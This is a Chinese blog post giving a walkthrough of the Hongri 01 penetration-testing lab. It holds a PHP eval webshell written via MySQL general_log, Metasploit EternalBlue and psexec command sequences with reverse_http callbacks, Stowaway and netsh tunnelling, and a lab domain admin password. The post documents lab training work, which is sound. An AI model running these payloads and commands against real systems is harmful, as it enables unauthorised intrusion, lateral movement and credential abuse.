首页 > 其他分享 >红日靶场01多角度打靶笔记

红日靶场01多角度打靶笔记

时间:2024-03-04 15:44:04浏览次数:43  
标签:01 windows 打靶 010 多角度 exploit set msf6 smb

红日靶场01

这个笔记主要是利用这个靶场环境,对内网渗透的思路进行整合一下,因此过程中会涉及多个攻击方式和思路。

环境搭建

  • windows7 是靶机01
  • Windows server 2008 R2 是靶机02
  • Windows server 2003 是靶机03
  • Windows 10 是攻击01
  • kali 是攻击02(cs服务端和msf都在上面)

这个靶场网络拓扑结构如下

image

攻击靶机01

访问http://192.168.111.128/

发现有php探针,可以看到php开了哪些参数
image
尝试Mysql账号密码root/root可以连接,使用Navicat连接后,发现拒绝外部连接。

于是使用ffuf对网站进行目录扫描
image

发现存在phpMyAdmin服务,尝试弱口令root/root,成功登陆后台
image

这时候可以尝试使用Mysql写文件,写文件的思路有secure_file_priv利用日志写shell

secure_file_priv

1.查询是否有写入权限

show global variables like '%secure%';

secure_file_priv值为NULL = 禁止导入导出

secure_file_priv值无具体值/为空 = 无限制

2.导出语句

outfile

select '<?php phpinfo(); ?>' into outfile "C:\\\\phpStudy\\MySQL\\bin\\1.php";

可多行输出,注意格式是a\raa\raaaa(使用\n则会留下\

dumpfile

select '<?php phpinfo(); ?>' into dumpfile "C:\\phpStudy\\MySQL\\bin\\1.php"; select * from student into outfile 'C:/phpStudy/MySQL/bin/test.php';

只能导出一行,在写⽂件时会保持⽂件的原⽣内容/原数据格式,适合写二进制文件

image

但是发现有限制,尝试写日志,在网站首页php指针处就能看到网站路径

利用日志写shell

查询权限

SHOW VARIABLES LIKE '%log%';

写入命令

SHOW VARIABLES LIKE '%log%';
SET GLOBAL general_log = ON;
SET GLOBAL general_log_file = 'C:\\phpStudy\\WWW\\shell1.php';
SELECT "<?php @eval($_REQUEST[shell]); phpinfo();?>";

写入后,访问一句话马的路径,http://192.168.111.128/shell1.php

image
使用蚁剑连接后,上传cs生成的马,拿到控制权

内网-攻击靶机02

内网扫描

上传gogo内网扫描工具,使用参数gogo.exe -i 192.168.52.1/24 -m s -e -v -af进行扫描,得到的dat文件下载下来
image

使用gogo.exe -F xxx.dat打开后,可以看到扫描结果
image
通过扫描结果可以看到,192.168.52.138和192.168.52.141均存在ms17-010漏洞

cs的shell转给msf

将cs与msf进行联动,方便进行漏洞利用

msf开启监听

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 192.163.111.130
msf6 exploit(multi/handler) > set lport 8001
msf6 exploit(multi/handler) > exploit

cs开启一个监听转发器
image

将shell再生成一个转发给这个监听器
image

image

选择后,就上线了。

提权

这里提权可以选择使用cs或者msf,如果选择cs,就先提权,将提权后的shell转发给msf。使用msf提权的话,则输入getsys提权即可

msf添加路由

为了使攻击机的msf能够访问到靶机2,需要在msf上添加路由

#新建路由
meterpreter > run post/multi/manage/autoroute
#查看新建路由
meterpreter > run autoroute -p
#挂起会话
meterpreter > background

添加后,想要对靶机02的ms17-010发起攻击,有两类payload,一个是bind正向,另一个是reverse反向。

msf正向攻击

msf6 exploit(multi/handler) > search ms17-010
msf6 exploit(multi/handler) > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.52.138
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 8080
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

但这个payload会失败,因为靶机02开了防火墙,8080端口不知道有没有放行。因此我尝试使用reverse反向攻击

反向代理搭建

但是使用反向攻击需要注意一点,靶机02并不能直接访问攻击机,所以在攻击机上进行监听是没有任何意义的。所以我们需要在靶机01上做一个反向端口转发,转发到攻击机上。我本来尝试使用msf中内置的portfwd进行反向端口转发,但发现它这个功能无效,我使用的命令meterpreter > portfwd add -R -L 192.168.111.130 -l 9001 -p 4444。所以这里上传使用stowaway多级内网代理工具。

在攻击机02(kali)上,使用linux_x64_admin -l 192.168.111.130:9001 -s bcbcbc启动管理服务

在靶机01上,上传windows_x64_agent.exe,并使用命令windows_x64_agent.exe -c 192.168.111.130:9001 -s bcbcbc --reconnect 4连接服务。

连接服务成功后,使用use 0进入靶机01的控制中心,使用backward 4444 4444命令,创建反向端口转发。靶机01监听4444端口,转发给攻击机02的4444端口。

至此,反向代理就搭建好了

这里我在测试的时候,还发现了一种方法,可以利用靶机01自带的netsh工具进行端口转发

netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=192.168.111.130 connectport=4444

Windows自带的netsh工具,可以轻松将本地端口转发给外部服务器

  1. 打开命令提示符(CMD)作为管理员权限运行。

  2. 使用以下命令添加端口转发规则:

    netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
    
    • localaddress:本地计算机的IP地址。
    • localport:本地计算机上要监听的端口。
    • destaddress:要转发到的目标地址。
    • destport:要转发到的目标端口。

    例如,要将本地计算机上的本地端口80转发到远程服务器192.168.1.100的端口8080,您可以执行以下命令:

    netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=80 connectaddress=192.168.1.100 connectport=8080
    
  3. 验证端口转发是否成功:

    netsh interface portproxy show all
    
  4. 使用以下命令删除要修改的规则:

    netsh interface portproxy delete v4tov4 listenport=localport listenaddress=localaddress
    

msf反向攻击

msf6 exploit(multi/handler) > search ms17-010
msf6 exploit(multi/handler) > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_http
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.52.138
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.52.143
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

msf会默认监听攻击机02的4444端口,发送的攻击命令中,指向的是192.168.52.143:4444

多打几次,就会反弹成功。

image

msf的shell转给cs

在cs中,配置监听器。
image

在stowaway中开启端口映射backward 9001 9001

在msf中

msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/local/payload_inject
msf6 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http
msf6 exploit(windows/local/payload_inject) > set LhOST 192.168.52.143
msf6 exploit(windows/local/payload_inject) > set lport 9001
msf6 exploit(windows/local/payload_inject) > set session 2
msf6 exploit(windows/local/payload_inject) > exploit

黄金票据攻击

进入靶机01中,收集如下信息

  • 查找域控,net time /domain ,然后解析域名名称,ping xxx
  • 查看域内主机,net view
  • 查看当前用户域信息,whoami /fqdn
  • 查看当前主机用户是否有域管理员用户,net group "domain admins" /domain

image

image

发现确实是域管理员,准备窃取令牌

首先进行进程迁移,迁移到域管理员启动的进程中
image

这里使用httpd进程

meterpreter > migrate 4752
meterpreter > getuid

image

测试smb能否访问
image

# 若能访问,则尝试上线
msf6 exploit(windows/smb/ms17_010_psexec) > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_http
msf6 exploit(windows/smb/psexec) > set rhosts 192.168.52.138	#这里可以写网段,进行hash喷洒
msf6 exploit(windows/smb/psexec) > set lhost 192.168.52.143
msf6 exploit(windows/smb/psexec) > set lport 4447
msf6 exploit(windows/smb/psexec) > set smbdomain GOD.ORG
msf6 exploit(windows/smb/psexec) > set smbuser Administrator
msf6 exploit(windows/smb/psexec) > set smbpass hongrisec@2024

image
image

内网-攻击靶机03

在stowaway中开启端口映射backward 4447 4446,因为在攻击02中,4446被cs监听占用,所以msf攻击时会监听失败,算是一个bug吧。

因为靶机03是x86系统,所以msf需要更换exp

msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set payload windows/meterpreter/reverse_http
msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.52.141
msf6 exploit(windows/smb/ms17_010_psexec) > set lhost 192.168.52.143
msf6 exploit(windows/smb/ms17_010_psexec) > set lport 4447

image
执行后,cs那里上线
image

标签:01,windows,打靶,010,多角度,exploit,set,msf6,smb
From: https://www.cnblogs.com/DumpInfou/p/18051947

相关文章

  • VS2015环境下Crystal Reports(水晶报表)的安装使用
     1.首先下载CrystalReports13对于VisualStudio2015支持的2个文件。CRforVS_13_0_17CRforVS_redist_install_64bit_13_0_17如果你使用的是其它版本的VisualStudio,请查看官方给出的文档,下载相应的版本,具体请参考次地址:http://scn.sap.com/docs/DOC-7824注意:版本号后边的......
  • P8681 [蓝桥杯 2019 省 AB] 完全二叉树的权值
    做这道题的时候混淆了满二叉树和完全二叉树的概念:满二叉树:顾名思义,就是塞满了完全二叉树:除了最后一层之外,每一层都必须是满的,且最后一层如果不满,则所有节点都尽可能靠左。#include<iostream>#include<stdio.h>#include<algorithm>#include<string>#defineFor(i,j,n......
  • Day01——基本概念与复杂度分析
    大纲基本概念数据结构与算法什么是数据结构?什么是算法?广义上讲,数据结构就是指一组数据的存储结构。算法就是操作数据的一组方法。数据结构是为算法服务的,算法要作用在特定的数据结构之上。数据结构是静态的,它只是组织数据的一种方式。如果不在它的基础上操作、构建算法,孤立......
  • Java方法01:什么是方法?
    何谓方法?1.System.out.prtintln(),它是什么呢?2.Java方法是语句的集合,它们在一起执行一个功能。2.1.方法是解决一类问题的步骤的有序组合2.2.方法包含与类或对象中2.3.方法在程序中被创建,在其他地方被引用 3.设计方法的原......
  • SpringBoot—01—简介;基本使用;
     @RequestMapping@Controller@GetMapping@ResponstBody(不走视图解析,直接返回数据)@Component(是Controller和Service的父类,就是让sping创建一个bean)@ConfigurationPerproties(prefix=xxx),从配置文件中读取配置赋值给实体类@Autowire,自动装配,但是具体的还是没搞懂@valiated,做......
  • [GWCTF 2019]pyre
    首先是简单的pyc-py这题唯一要注意的一个点就是遇到%务必进行爆破爆破exp`code=['\x1f','\x12','\x1d','(','0','4','\x01','\x06','\x14','4',',','\x1......
  • [极客大挑战 2019]BabySQL 1
    [极客大挑战2019]BabySQL1审题还是SQL注入和之前的是一个系列的。知识点联合注入,双写绕过解题输入万能密码发现回显中没有or,猜测是使用正则过滤了or。尝试双写绕过登录成功使用联合查询,本题中过滤了from,where,or,by,union,select。看到4没有注入点,2和3都......
  • P5322 [BJOI2019] 排兵布阵
    原题链接题解巧妙的背包问题我可以用按顺序遍历城堡,顺便表示出遍历到当前城堡时用掉了多少兵力,这样是可以穷尽所有兵力派送情况的同时把这个城堡里的敌方兵力升序排序,然后遍历,表示为了消灭所有兵力小于等于ta的敌人所加的分code#include<bits/stdc++.h>usingnamespacestd......
  • python接口自动化系列(01):自动化测试框架设计
     本系列汇总,请查看这里:https://www.cnblogs.com/uncleyong/p/18033074先看下最终效果(gif) 报告总览 前言之前分享了java自动化(详见:https://www.cnblogs.com/uncleyong/p/15867903.html),部分小伙伴建议分享一个python版本,安排!!!当然,通过测试招聘要求大家也可以发现,目前......
  • nginx系列文章01---基础知识
    1.何为反向代理?在介绍反向代理之前,先来了解一下正向代理。正向代理:如果把局域网外的Internet想象成一个巨大的资源库,则局域网中的客户端要访问Internet,则需要通过代理服务器来访问,这种代理服务就称为正向代理,下面是正向代理的原理图。由于工作环境原因,日常工作只能局限于单位的......